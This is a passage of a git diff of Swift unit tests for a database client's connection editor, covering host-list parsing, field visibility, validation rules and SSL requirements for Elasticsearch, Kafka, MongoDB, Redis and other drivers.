#expect(!state.clearsStoredKeyPassphrase) - } -} diff --git a/apple/TableProTests/Views/ConnectionForm/EndpointHostListFormTests.swift b/apple/TableProTests/Views/ConnectionForm/EndpointHostListFormTests.swift deleted file mode 100644 index 66e27e8270..0000000000 --- a/apple/TableProTests/Views/ConnectionForm/EndpointHostListFormTests.swift +++ /dev/null @@ -1,148 +0,0 @@ -// -// EndpointHostListFormTests.swift -// TableProTests -// - -import Foundation -@testable import TablePro -import TableProPluginKit -import Testing - -@MainActor -struct EndpointHostListFormTests { - private func loaded(_ connection: DatabaseConnection) -> NetworkPaneViewModel { - let viewModel = NetworkPaneViewModel() - viewModel.load(from: connection) - return viewModel - } - - private func coordinator(type: DatabaseType, fields: [String: String]) -> ConnectionFormCoordinator { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.network.name = "cluster" - coordinator.network.type = type - coordinator.network.additionalFieldValues = fields - return coordinator - } - - private func edits(type: DatabaseType, fields: [String: String]) -> ConnectionFormEdits { - coordinator(type: type, fields: fields).buildEdits() - } - - @Test("An Elasticsearch connection saved with Host and Port opens with them as its node list") - func elasticsearchSeedsFromHostAndPort() { - let viewModel = loaded(DatabaseConnection(name: "es", host: "es1.example", port: 9_201, type: .elasticsearch)) - #expect(viewModel.additionalFieldValues["esHosts"] == "es1.example:9201") - } - - @Test("A Kafka connection opens with the broker it dials, not a blank list") - func kafkaSeedsFromHostAndPort() { - let viewModel = loaded(DatabaseConnection(name: "k", host: "broker1.example", port: 9_092, type: .kafka)) - #expect(viewModel.additionalFieldValues["kafkaBootstrapServers"] == "broker1.example:9092") - } - - @Test("A Kafka list saved as extra brokers shows the hidden Host as its last row") - func kafkaLegacyListKeepsHost() { - let viewModel = loaded(DatabaseConnection( - name: "k", - host: "broker1.example", - port: 9_092, - type: .kafka, - additionalFields: ["kafkaBootstrapServers": "b2.example:9092"] - )) - #expect(viewModel.additionalFieldValues["kafkaBootstrapServers"] == "b2.example:9092,broker1.example:9092") - } - - @Test("A Host the form filled in while it was hidden is not added to a saved list") - func defaultHostStaysOut() { - let viewModel = loaded(DatabaseConnection( - name: "es", - host: "localhost", - port: 9_200, - type: .elasticsearch, - additionalFields: ["esHosts": "es1.example:9200,es2.example:9200"] - )) - #expect(viewModel.additionalFieldValues["esHosts"] == "es1.example:9200,es2.example:9200") - } - - @Test("A legacy Kafka broker on localhost with its own port stays in the list") - func legacyLocalhostOnOtherPortStays() { - let viewModel = loaded(DatabaseConnection( - name: "k", - host: "localhost", - port: 9_093, - type: .kafka, - additionalFields: ["kafkaBootstrapServers": "broker2.example:9092"] - )) - #expect(viewModel.additionalFieldValues["kafkaBootstrapServers"] == "broker2.example:9092,localhost:9093") - } - - @Test("Clearing every row connects to the placeholder, not the Host the list hid") - func clearedListUsesDefaults() { - let form = coordinator(type: .elasticsearch, fields: ["esHosts": " , "]) - form.network.host = "old.example" - form.network.port = "9300" - let result = form.buildEdits() - #expect(result.host == "localhost") - #expect(result.port == 9_200) - #expect(result.additionalFields["esHosts"] == "") - } - - @Test("Redis lists belong to one mode and are never seeded from Host") - func redisListsAreNotSeeded() { - let viewModel = loaded(DatabaseConnection(name: "r", host: "cache.example", port: 6_379, type: .redis)) - #expect((viewModel.additionalFieldValues["redisClusterHosts"] ?? "").isEmpty) - #expect((viewModel.additionalFieldValues["redisSentinelHosts"] ?? "").isEmpty) - } - - @Test("Saving pasted node URLs stores host:port entries and takes Host and Port from the first") - func elasticsearchSaveNormalizesNodes() { - let result = edits( - type: .elasticsearch, - fields: ["esHosts": "https://111.111.111.111:9200,https://111.111.111.112:9200,https://[fd00::3]:9200"] - ) - #expect(result.additionalFields["esHosts"] == "111.111.111.111:9200,111.111.111.112:9200,[fd00::3]:9200") - #expect(result.host == "111.111.111.111") - #expect(result.port == 9_200) - } - - @Test("A blank row is dropped, not saved as localhost") - func blankRowIsDropped() { - let result = edits(type: .mongodb, fields: ["mongoHosts": ",a.example:27017, ,b.example"]) - #expect(result.additionalFields["mongoHosts"] == "a.example:27017,b.example:27017") - #expect(result.host == "a.example") - #expect(result.port == 27_017) - } - - @Test("A row that is not a host blocks Save instead of being dropped") - func invalidRowIsAnIssue() { - let issues = coordinator(type: .elasticsearch, fields: ["esHosts": "es1:9200,es2:abc"]).network.validationIssues - #expect(issues.count == 1) - #expect(issues.first?.contains("es2:abc") == true) - } - - @Test("An https:// node needs SSL turned on, or its credentials would go over plain HTTP") - func httpsNodeNeedsSSL() { - let form = coordinator(type: .elasticsearch, fields: ["esHosts": "https://10.0.0.1:9200"]) - form.ssl.select(.disabled) - #expect(form.network.validationIssues.contains { $0.contains("https://10.0.0.1:9200") }) - - form.ssl.select(.required) - #expect(form.network.validationIssues.isEmpty) - } - - @Test("Switching another type's Host to Elasticsearch carries it into the node list") - func typeChangeSeedsTheList() { - let form = ConnectionFormCoordinator(connectionId: nil) - form.start() - form.network.host = "db.example" - form.network.setType(.elasticsearch) - #expect(form.network.additionalFieldValues["esHosts"] == "db.example:9200") - } - - @Test("Kafka Host and Port follow the first bootstrap server") - func kafkaHostFollowsFirstServer() { - let result = edits(type: .kafka, fields: ["kafkaBootstrapServers": "b1.example:9093,b2.example:9092"]) - #expect(result.host == "b1.example") - #expect(result.port == 9_093) - } -} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineAdvancedTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineAdvancedTests.swift new file mode 100644 index 0000000000..ca92f6fc4c --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineAdvancedTests.swift @@ -0,0 +1,125 @@ +// +// ConnectionEditorEngineAdvancedTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorEngineAdvancedTests { + private func traits(_ type: DatabaseType) -> ConnectionTypeTraits { + ConnectionTypeTraits.live(for: type, pluginManager: .shared) + } + + private func loaded(_ connection: DatabaseConnection) -> ConnectionDraft { + ConnectionDraft.loaded(from: connection, secrets: .none, traits: traits(connection.type)) + } + + private func sqliteWithExtensionList() throws -> ConnectionTypeTraits { + let sqlite = traits(.sqlite) + try #require(sqlite.fields.contains { $0.content == .loadableExtensions }) + return sqlite + } + + private func redisWithAdvancedIndex() throws -> ConnectionTypeTraits { + let redis = traits(.redis) + try #require(redis.fields.contains { $0.id == "redisDatabase" && $0.section == .advanced }) + return redis + } + + @Test("Loads external access from the connection") + func loadsExternalAccessFromConnection() { + let draft = loaded(DatabaseConnection(name: "Test", externalAccess: .readWrite)) + #expect(draft.ai.externalAccess == .readWrite) + } + + @Test("Does not leak external access into plugin additional fields") + func doesNotWriteExternalAccessIntoAdditionalFields() { + let mysql = traits(.mysql) + var draft = ConnectionDraft.new(type: .mysql, traits: mysql) + draft.ai.externalAccess = .readWrite + + let edits = ConnectionEditorEngine.edits(draft, mysql, originalTraits: nil, EditorContext()) + + #expect(edits.externalAccess == .readWrite) + #expect(edits.additionalFields["externalAccess"] == nil) + } + + @Test("Lists the connection's always-allowed tools in name order with nothing forgotten") + func loadsAlwaysAllowedTools() { + let draft = loaded(DatabaseConnection(name: "Staging", aiAlwaysAllowedTools: ["list_tables", "execute_query"])) + + #expect(draft.ai.alwaysAllowedTools == ["execute_query", "list_tables"]) + #expect(draft.ai.revokedTools.isEmpty) + } + + @Test("Forget takes a tool off the list and into the revoked set, and loading again drops it") + func forgetMovesAToolIntoTheRevokedSet() { + let connection = DatabaseConnection(name: "Staging", aiAlwaysAllowedTools: ["list_tables", "execute_query"]) + var draft = loaded(connection) + + draft.forgetAlwaysAllowed("execute_query") + + #expect(draft.ai.alwaysAllowedTools == ["list_tables"]) + #expect(draft.ai.revokedTools == ["execute_query"]) + + draft = loaded(connection) + + #expect(draft.ai.alwaysAllowedTools == ["execute_query", "list_tables"]) + #expect(draft.ai.revokedTools.isEmpty) + } + + @Test("Shows a Redis database index saved as db4 as the number the stepper takes") + func loadsDbPrefixedRedisIndexAsANumber() throws { + let redis = try redisWithAdvancedIndex() + let connection = DatabaseConnection(name: "cache", type: .redis, additionalFields: ["redisDatabase": "db4"]) + + let draft = ConnectionDraft.loaded(from: connection, secrets: .none, traits: redis) + + #expect(draft.fieldValues["redisDatabase"] == "4") + } + + @Test("Shows the Redis database a synced connection names when no index was saved") + func loadsRedisIndexFromTheDatabaseName() throws { + let redis = try redisWithAdvancedIndex() + let connection = DatabaseConnection(name: "cache", database: "db7", type: .redis) + + let draft = ConnectionDraft.loaded(from: connection, secrets: .none, traits: redis) + + #expect(draft.fieldValues["redisDatabase"] == "7") + } + + @Test("The Extensions list is its own section, not a row among the driver options") + func extensionFieldIsNotADriverRow() throws { + let sqlite = try sqliteWithExtensionList() + let draft = ConnectionDraft.new(type: .sqlite, traits: sqlite) + let advanced = try #require(ConnectionEditorEngine.layout(draft, sqlite, EditorContext()).facet(.advanced)) + let extensionRow = EditorRow.plugin(fieldID: LoadableExtensionList.fieldId) + + let section = try #require(advanced.section(containing: extensionRow)) + #expect(section.id == "extensions-\(LoadableExtensionList.fieldId)") + #expect(section.rows == [extensionRow]) + #expect(advanced.sections.first { $0.id == "driver" }?.rows.contains(extensionRow) != true) + } + + @Test("An invalid list blocks saving with the reason") + func invalidListIsAValidationIssue() throws { + let sqlite = try sqliteWithExtensionList() + var draft = ConnectionDraft.new(type: .sqlite, traits: sqlite) + draft.setFieldValue( + LoadableExtensionList.encode([LoadableExtension(path: "vec0.dylib")]), + for: LoadableExtensionList.fieldId + ) + + let issue = ConnectionEditorEngine.issues(draft, sqlite, EditorContext()) + .first { $0.row == .plugin(fieldID: LoadableExtensionList.fieldId) } + + #expect(issue?.message.contains("vec0.dylib") == true) + #expect(issue?.facet == .advanced) + #expect(issue?.blocksSave == true) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineDatabaseFieldTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineDatabaseFieldTests.swift new file mode 100644 index 0000000000..82fc5e983b --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineDatabaseFieldTests.swift @@ -0,0 +1,122 @@ +// +// ConnectionEditorEngineDatabaseFieldTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +// The editor must never require a database value it does not render, and must agree with the catalog adoption. +@MainActor +struct ConnectionEditorEngineDatabaseFieldTests { + private func traits(_ type: DatabaseType) -> ConnectionTypeTraits { + ConnectionTypeTraits.live(for: type, pluginManager: .shared) + } + + private func newDraft(_ type: DatabaseType, name: String = "") -> ConnectionDraft { + var draft = ConnectionDraft.new(type: type, traits: traits(type)) + draft.name = name + return draft + } + + private func rendersDatabase(_ type: DatabaseType) -> Bool { + let traits = traits(type) + let layout = ConnectionEditorEngine.layout(newDraft(type), traits, EditorContext()) + let rendered = layout.contains(.builtIn(.database)) + #expect(rendered == traits.showsBuiltInDatabaseField, "\(type.rawValue)") + return rendered + } + + // The built-in rows of General's identity and connection sections, the ones the old Network pane validated. + private func connectionIssues(_ draft: ConnectionDraft) -> [FieldIssue] { + let traits = traits(draft.type) + let layout = ConnectionEditorEngine.layout(draft, traits, EditorContext()) + let rows = (layout.facet(.general)?.sections ?? []) + .filter { $0.id == "identity" || $0.id == "connection" } + .flatMap(\.rows) + .filter { $0.pluginFieldID == nil } + return ConnectionEditorEngine.issues(draft, traits, EditorContext(), layout: layout) + .filter { rows.contains($0.row) } + } + + // Issue #2234: gated on requiresAuthentication, which MongoDB declares false, the field was missing for MongoDB. + @Test( + "A network driver that takes a container name renders the field", + arguments: [ + DatabaseType.mongodb, + DatabaseType.cassandra, + DatabaseType(rawValue: "Trino"), + DatabaseType.mysql, + DatabaseType.postgresql, + ] + ) + func networkDriversRenderTheField(type: DatabaseType) { + #expect(rendersDatabase(type)) + } + + // Oracle and Dameng show a Schema field while declaring supportsDatabaseSwitching false. + @Test( + "A network driver without runtime database switching keeps its field", + arguments: [DatabaseType.oracle, DatabaseType.dameng] + ) + func networkDriversWithoutSwitchingKeepTheField(type: DatabaseType) { + #expect(rendersDatabase(type)) + } + + @Test( + "A driver that names its container elsewhere, or has none, opts out", + arguments: [DatabaseType.redis, DatabaseType.etcd, DatabaseType.elasticsearch] + ) + func optedOutDriversHideTheField(type: DatabaseType) { + #expect(!rendersDatabase(type)) + } + + @Test( + "An apiOnly driver without database switching keeps the field hidden", + arguments: [DatabaseType.bigQuery, DatabaseType.dynamodb, DatabaseType.libsql] + ) + func apiOnlyDriversWithoutSwitchingHideTheField(type: DatabaseType) { + #expect(!rendersDatabase(type)) + } + + // A new DuckDB connection once demanded a database name the form had no field for, so Save stayed off forever. + @Test("DuckDB neither renders nor requires the built-in database field") + func duckDBIsSaveable() { + #expect(!rendersDatabase(.duckdb)) + #expect(!ConnectionDatabaseRequirement.requiresValue(for: .duckdb)) + let issues = connectionIssues(newDraft(.duckdb, name: "Analytics")) + #expect(!issues.contains { $0.message.localizedCaseInsensitiveContains("database") }) + } + + @Test("A named database is optional for a network driver, so a blank one still validates") + func networkDatabaseStaysOptional() { + var draft = newDraft(.mongodb, name: "Cluster") + draft.database = "" + #expect(rendersDatabase(.mongodb)) + #expect(!ConnectionDatabaseRequirement.requiresValue(for: .mongodb)) + #expect(!connectionIssues(draft).contains { $0.message.localizedCaseInsensitiveContains("database") }) + } + + @Test("Every type that requires a database value also renders a field for it, and the editor requires it too") + func requiredImpliesRendered() { + let types: [DatabaseType] = [ + .mysql, .postgresql, .mongodb, .cassandra, .oracle, .dameng, + .redis, .etcd, .elasticsearch, .duckdb, .bigQuery, .dynamodb, .libsql, + ] + for type in types { + let traits = traits(type) + #expect(traits.showsBuiltInDatabaseField == ConnectionDatabaseRequirement.showsBuiltInField(for: type), "\(type.rawValue)") + guard traits.connectionMode != .fileBased else { continue } + let requires = ConnectionDatabaseRequirement.requiresValue(for: type) + if requires { + #expect(traits.showsBuiltInDatabaseField, "\(type.rawValue) requires a database it cannot render") + } + let blocks = ConnectionEditorEngine.issues(newDraft(type, name: "Probe"), traits, EditorContext()) + .contains { $0.row == .builtIn(.database) } + #expect(blocks == requires, "\(type.rawValue)") + } + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineFieldVisibilityTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineFieldVisibilityTests.swift new file mode 100644 index 0000000000..4e353badc6 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineFieldVisibilityTests.swift @@ -0,0 +1,184 @@ +// +// ConnectionEditorEngineFieldVisibilityTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorEngineFieldVisibilityTests { + private func field( + _ id: String, + section: FieldSection, + required: Bool = false, + defaultValue: String? = nil, + type: ConnectionField.FieldType = .text, + hidesPassword: Bool = false, + visibleWhen: FieldVisibilityRule? = nil + ) -> ConnectionField { + ConnectionField( + id: id, + label: id, + required: required, + defaultValue: defaultValue, + fieldType: type, + section: section, + hidesPassword: hidesPassword, + visibleWhen: visibleWhen + ) + } + + private func traits(_ fields: [ConnectionField]) -> ConnectionTypeTraits { + var traits = ConnectionTypeTraits(type: DatabaseType(rawValue: "Probe")) + traits.fields = fields + return traits + } + + private func draft(_ traits: ConnectionTypeTraits, values: [String: String] = [:]) -> ConnectionDraft { + var draft = ConnectionDraft.new(type: traits.type, traits: traits) + draft.name = "Probe" + for (id, value) in values { + draft.setFieldValue(value, for: id) + } + return draft + } + + private func pluginRows(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits, facet: ConnectionFacet, section: String) + -> [String] { + let layout = ConnectionEditorEngine.layout(draft, traits, EditorContext()) + let rows = layout.facet(facet)?.sections.first { $0.id == section }?.rows ?? [] + return rows.compactMap(\.pluginFieldID) + } + + private func messages(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits, on fieldId: String, _ context: EditorContext = EditorContext()) + -> [String] { + ConnectionEditorEngine.issues(draft, traits, context) + .filter { $0.row == .plugin(fieldID: fieldId) } + .map(\.message) + } + + private func modeDropdown(_ id: String = "mode", values: [String], defaultValue: String) -> ConnectionField { + let options = values.map { ConnectionField.DropdownOption(value: $0, label: $0.uppercased()) } + return field(id, section: .connection, defaultValue: defaultValue, type: .dropdown(options: options)) + } + + @Test("Plugin rows land in their section and follow their visibility rule") + func visibleFieldsFilterBySectionAndVisibility() { + let traits = traits([ + field("host", section: .connection), + modeDropdown(values: ["a", "b"], defaultValue: "a"), + field("sentinel", section: .connection, visibleWhen: .init(fieldId: "mode", values: ["b"])), + field("extra", section: .advanced), + ]) + let hidden = draft(traits, values: ["mode": "a"]) + #expect(pluginRows(hidden, traits, facet: .general, section: "connection") == ["host", "mode"]) + #expect(pluginRows(hidden, traits, facet: .advanced, section: "driver") == ["extra"]) + + let shown = draft(traits, values: ["mode": "b"]) + #expect(pluginRows(shown, traits, facet: .general, section: "connection") == ["host", "mode", "sentinel"]) + } + + // The controller lives in Connection and the secret it gates in Authentication: one flat value bag sees both. + @Test("A visibility rule resolves across sections") + func crossSectionVisibleWhenResolvesAgainstMergedValues() { + let secret = field( + "sentinelPassword", + section: .authentication, + type: .secure, + visibleWhen: .init(fieldId: "mode", values: ["sentinel"]) + ) + let traits = traits([modeDropdown(values: ["standalone", "sentinel"], defaultValue: "standalone"), secret]) + #expect(!ConnectionEditorEngine.isVisible(secret, draft(traits), traits)) + #expect(!pluginRows(draft(traits), traits, facet: .general, section: "authentication").contains("sentinelPassword")) + + let sentinel = draft(traits, values: ["mode": "sentinel"]) + #expect(ConnectionEditorEngine.isVisible(secret, sentinel, traits)) + #expect(pluginRows(sentinel, traits, facet: .general, section: "authentication").contains("sentinelPassword")) + } + + @Test("A dropdown off its default, a toggle that is on, or the type itself hides the password") + func hidesPasswordFromDropdownToggleAndType() { + let dropdown = traits([field( + "authMethod", + section: .authentication, + defaultValue: "password", + type: .dropdown(options: [.init(value: "password", label: "Password"), .init(value: "sso", label: "SSO")]), + hidesPassword: true + )]) + let atDefault = draft(dropdown, values: ["authMethod": "password"]) + #expect(!ConnectionEditorEngine.hidesPassword(atDefault, dropdown)) + #expect(ConnectionEditorEngine.layout(atDefault, dropdown, EditorContext()).contains(.builtIn(.password))) + let sso = draft(dropdown, values: ["authMethod": "sso"]) + #expect(ConnectionEditorEngine.hidesPassword(sso, dropdown)) + #expect(!ConnectionEditorEngine.layout(sso, dropdown, EditorContext()).contains(.builtIn(.password))) + + let toggle = traits([field("usePgpass", section: .authentication, type: .toggle, hidesPassword: true)]) + #expect(ConnectionEditorEngine.hidesPassword(draft(toggle, values: ["usePgpass": "true"]), toggle)) + #expect(!ConnectionEditorEngine.hidesPassword(draft(toggle), toggle)) + + var hiddenByType = traits([]) + hiddenByType.hidesBuiltInPassword = true + #expect(ConnectionEditorEngine.hidesPassword(draft(hiddenByType), hiddenByType)) + } + + @Test("Required and range rules raise an issue on their own row, and a linked profile supplies its secure field") + func requiredAndRangeValidation() { + let traits = traits([ + field("token", section: .authentication, required: true, type: .secure), + field("database", section: .connection, required: true, defaultValue: "postgres"), + field("poolSize", section: .advanced, type: .stepper(range: .init(1...10))), + ]) + let empty = draft(traits, values: ["poolSize": "99"]) + #expect(messages(empty, traits, on: "token") == ["token is required"]) + #expect(messages(empty, traits, on: "database").isEmpty) + #expect(messages(empty, traits, on: "poolSize") == ["poolSize must be between 1 and 10"]) + + let profile = CredentialProfile(name: "Shared", secureFieldIds: ["token"]) + var context = EditorContext() + context.credentialProfiles = [profile] + var linked = empty + linked.setCredentialMode(.profile(id: profile.id)) + #expect(messages(linked, traits, on: "token", context).isEmpty) + + let filled = draft(traits, values: ["token": "abc", "poolSize": "5"]) + #expect(messages(filled, traits, on: "token").isEmpty) + #expect(messages(filled, traits, on: "poolSize").isEmpty) + } + + @Test("A required field its rule hides does not block") + func requiredHiddenFieldDoesNotBlock() { + let traits = traits([ + modeDropdown(values: ["a", "b"], defaultValue: "a"), + field("onlyForB", section: .connection, required: true, visibleWhen: .init(fieldId: "mode", values: ["b"])), + ]) + #expect(messages(draft(traits, values: ["mode": "a"]), traits, on: "onlyForB").isEmpty) + #expect(messages(draft(traits, values: ["mode": "b"]), traits, on: "onlyForB") == ["onlyForB is required"]) + } + + // The editor seeds every section's defaults once; the old per-section seeding is gone with the panes. + @Test("A new connection starts with the default of every field that has one") + func defaultValuesSeedEverySection() { + let traits = traits([ + field("a", section: .connection, defaultValue: "1"), + field("b", section: .advanced, defaultValue: "2"), + field("c", section: .advanced), + ]) + #expect(traits.defaultValues() == ["a": "1", "b": "2"]) + #expect(ConnectionDraft.new(type: traits.type, traits: traits).fieldValues == ["a": "1", "b": "2"]) + } + + @Test("Two fields gating each other neither recurse nor hide each other") + func visibilityCycleTerminates() { + let x = field("x", section: .connection, visibleWhen: .init(fieldId: "y", values: ["on"])) + let y = field("y", section: .connection, visibleWhen: .init(fieldId: "x", values: ["on"])) + let traits = traits([x, y]) + let both = draft(traits, values: ["x": "on", "y": "on"]) + #expect(ConnectionEditorEngine.isVisible(x, both, traits)) + #expect(ConnectionEditorEngine.isVisible(y, both, traits)) + #expect(pluginRows(both, traits, facet: .general, section: "connection") == ["x", "y"]) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineHostListTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineHostListTests.swift new file mode 100644 index 0000000000..3c5e78c7f6 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineHostListTests.swift @@ -0,0 +1,158 @@ +// +// ConnectionEditorEngineHostListTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorEngineHostListTests { + private func traits(_ type: DatabaseType) -> ConnectionTypeTraits { + ConnectionTypeTraits.live(for: type, pluginManager: .shared) + } + + private func loaded(_ connection: DatabaseConnection) -> ConnectionDraft { + ConnectionDraft.loaded(from: connection, secrets: .none, traits: traits(connection.type)) + } + + private func draft(type: DatabaseType, fields: [String: String]) -> ConnectionDraft { + var draft = ConnectionDraft.new(type: type, traits: traits(type)) + draft.name = "cluster" + for (id, value) in fields { + draft.setFieldValue(value, for: id) + } + return draft + } + + private func edits(_ draft: ConnectionDraft) -> ConnectionFormEdits { + ConnectionEditorEngine.edits(draft, traits(draft.type), originalTraits: nil, EditorContext()) + } + + private func issues(_ draft: ConnectionDraft) -> [FieldIssue] { + ConnectionEditorEngine.issues(draft, traits(draft.type), EditorContext()) + } + + @Test("An Elasticsearch connection saved with Host and Port opens with them as its node list") + func elasticsearchSeedsFromHostAndPort() { + let draft = loaded(DatabaseConnection(name: "es", host: "es1.example", port: 9_201, type: .elasticsearch)) + #expect(draft.fieldValues["esHosts"] == "es1.example:9201") + } + + @Test("A Kafka connection opens with the broker it dials, not a blank list") + func kafkaSeedsFromHostAndPort() { + let draft = loaded(DatabaseConnection(name: "k", host: "broker1.example", port: 9_092, type: .kafka)) + #expect(draft.fieldValues["kafkaBootstrapServers"] == "broker1.example:9092") + } + + @Test("A Kafka list saved as extra brokers shows the hidden Host as its last row") + func kafkaLegacyListKeepsHost() { + let draft = loaded(DatabaseConnection( + name: "k", + host: "broker1.example", + port: 9_092, + type: .kafka, + additionalFields: ["kafkaBootstrapServers": "b2.example:9092"] + )) + #expect(draft.fieldValues["kafkaBootstrapServers"] == "b2.example:9092,broker1.example:9092") + } + + @Test("A Host the form filled in while it was hidden is not added to a saved list") + func defaultHostStaysOut() { + let draft = loaded(DatabaseConnection( + name: "es", + host: "localhost", + port: 9_200, + type: .elasticsearch, + additionalFields: ["esHosts": "es1.example:9200,es2.example:9200"] + )) + #expect(draft.fieldValues["esHosts"] == "es1.example:9200,es2.example:9200") + } + + @Test("A legacy Kafka broker on localhost with its own port stays in the list") + func legacyLocalhostOnOtherPortStays() { + let draft = loaded(DatabaseConnection( + name: "k", + host: "localhost", + port: 9_093, + type: .kafka, + additionalFields: ["kafkaBootstrapServers": "broker2.example:9092"] + )) + #expect(draft.fieldValues["kafkaBootstrapServers"] == "broker2.example:9092,localhost:9093") + } + + @Test("Clearing every row connects to the placeholder, not the Host the list hid") + func clearedListUsesDefaults() { + var cleared = draft(type: .elasticsearch, fields: ["esHosts": " , "]) + cleared.host = "old.example" + cleared.portText = "9300" + let result = edits(cleared) + #expect(result.host == "localhost") + #expect(result.port == 9_200) + #expect(result.additionalFields["esHosts"] == "") + } + + @Test("Redis lists belong to one mode and are never seeded from Host") + func redisListsAreNotSeeded() { + let draft = loaded(DatabaseConnection(name: "r", host: "cache.example", port: 6_379, type: .redis)) + #expect((draft.fieldValues["redisClusterHosts"] ?? "").isEmpty) + #expect((draft.fieldValues["redisSentinelHosts"] ?? "").isEmpty) + } + + @Test("Saving pasted node URLs stores host:port entries and takes Host and Port from the first") + func elasticsearchSaveNormalizesNodes() { + let result = edits(draft( + type: .elasticsearch, + fields: ["esHosts": "https://111.111.111.111:9200,https://111.111.111.112:9200,https://[fd00::3]:9200"] + )) + #expect(result.additionalFields["esHosts"] == "111.111.111.111:9200,111.111.111.112:9200,[fd00::3]:9200") + #expect(result.host == "111.111.111.111") + #expect(result.port == 9_200) + } + + @Test("A blank row is dropped, not saved as localhost") + func blankRowIsDropped() { + let result = edits(draft(type: .mongodb, fields: ["mongoHosts": ",a.example:27017, ,b.example"])) + #expect(result.additionalFields["mongoHosts"] == "a.example:27017,b.example:27017") + #expect(result.host == "a.example") + #expect(result.port == 27_017) + } + + @Test("A row that is not a host blocks Save instead of being dropped") + func invalidRowIsAnIssue() { + let rowIssues = issues(draft(type: .elasticsearch, fields: ["esHosts": "es1:9200,es2:abc"])) + .filter { $0.row == .plugin(fieldID: "esHosts") } + #expect(rowIssues.count == 1) + #expect(rowIssues.first?.message.contains("es2:abc") == true) + } + + @Test("An https:// node needs SSL turned on, or its credentials would go over plain HTTP") + func httpsNodeNeedsSSL() { + var secure = draft(type: .elasticsearch, fields: ["esHosts": "https://10.0.0.1:9200"]) + secure.selectSSLMode(.disabled) + #expect(issues(secure).contains { $0.message.contains("https://10.0.0.1:9200") }) + + secure.selectSSLMode(.required) + #expect(!issues(secure).contains { $0.message.contains("https://10.0.0.1:9200") }) + #expect(!issues(secure).contains { $0.row == .plugin(fieldID: "esHosts") }) + } + + @Test("Switching another type's Host to Elasticsearch carries it into the node list") + func typeChangeSeedsTheList() { + let mysql = traits(.mysql) + var draft = ConnectionDraft.new(type: .mysql, traits: mysql) + draft.host = "db.example" + draft.retype(to: traits(.elasticsearch), from: mysql) + #expect(draft.fieldValues["esHosts"] == "db.example:9200") + } + + @Test("Kafka Host and Port follow the first bootstrap server") + func kafkaHostFollowsFirstServer() { + let result = edits(draft(type: .kafka, fields: ["kafkaBootstrapServers": "b1.example:9093,b2.example:9092"])) + #expect(result.host == "b1.example") + #expect(result.port == 9_093) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineIssueTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineIssueTests.swift index 9374f26179..31ee00626d 100644 --- a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineIssueTests.swift +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineIssueTests.swift @@ -142,13 +142,15 @@ struct ConnectionEditorEngineIssueTests { #expect(edits.port == 15_432) } - @Test("A missing name blocks Save but not Test") - func nameBlocksSaveOnly() throws { + @Test("An empty name is no issue: Save and Test use the suggested name") + func emptyNameBlocksNothing() { let postgres = traits(.postgresql) - let draft = ConnectionDraft.new(type: .postgresql, traits: postgres) - let issue = try #require(issues(draft, postgres).first { $0.row == .builtIn(.name) }) - #expect(issue.blocksSave) - #expect(!issue.blocksTest) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + draft.name = "" + draft.host = "db.example.com" + #expect(!issues(draft, postgres).contains { $0.row == .builtIn(.name) }) + let edits = ConnectionEditorEngine.edits(draft, postgres, originalTraits: nil, EditorContext()) + #expect(edits.name == "db.example.com") } @Test("SSL modes the driver refuses through a tunnel are not offered and block Save") diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineLocalSocketTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineLocalSocketTests.swift new file mode 100644 index 0000000000..f3a8ace9f3 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineLocalSocketTests.swift @@ -0,0 +1,229 @@ +// +// ConnectionEditorEngineLocalSocketTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import TableProSSHConfig +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorEngineLocalSocketTests { + private func traits(_ type: DatabaseType) -> ConnectionTypeTraits { + ConnectionTypeTraits.live(for: type, pluginManager: .shared) + } + + private func socketConnection(path: String = "/tmp/mysql.sock", type: DatabaseType = .mysql) -> DatabaseConnection { + var connection = DatabaseConnection(name: "Local", host: "localhost", port: 3_306, type: type) + connection.additionalFields[MySQLLocalSocket.fieldKey] = path + return connection + } + + private func loaded(_ connection: DatabaseConnection) -> ConnectionDraft { + ConnectionDraft.loaded(from: connection, secrets: .none, traits: traits(connection.type)) + } + + private func socketDraft(_ type: DatabaseType = .mysql, path: String, port: String? = nil) -> ConnectionDraft { + let traits = traits(type) + var draft = ConnectionDraft.new(type: type, traits: traits) + draft.name = "Local" + if let port { + draft.setPort(port, traits: traits) + } + draft.selectEndpoint(.localSocket) + draft.localSocketPath = 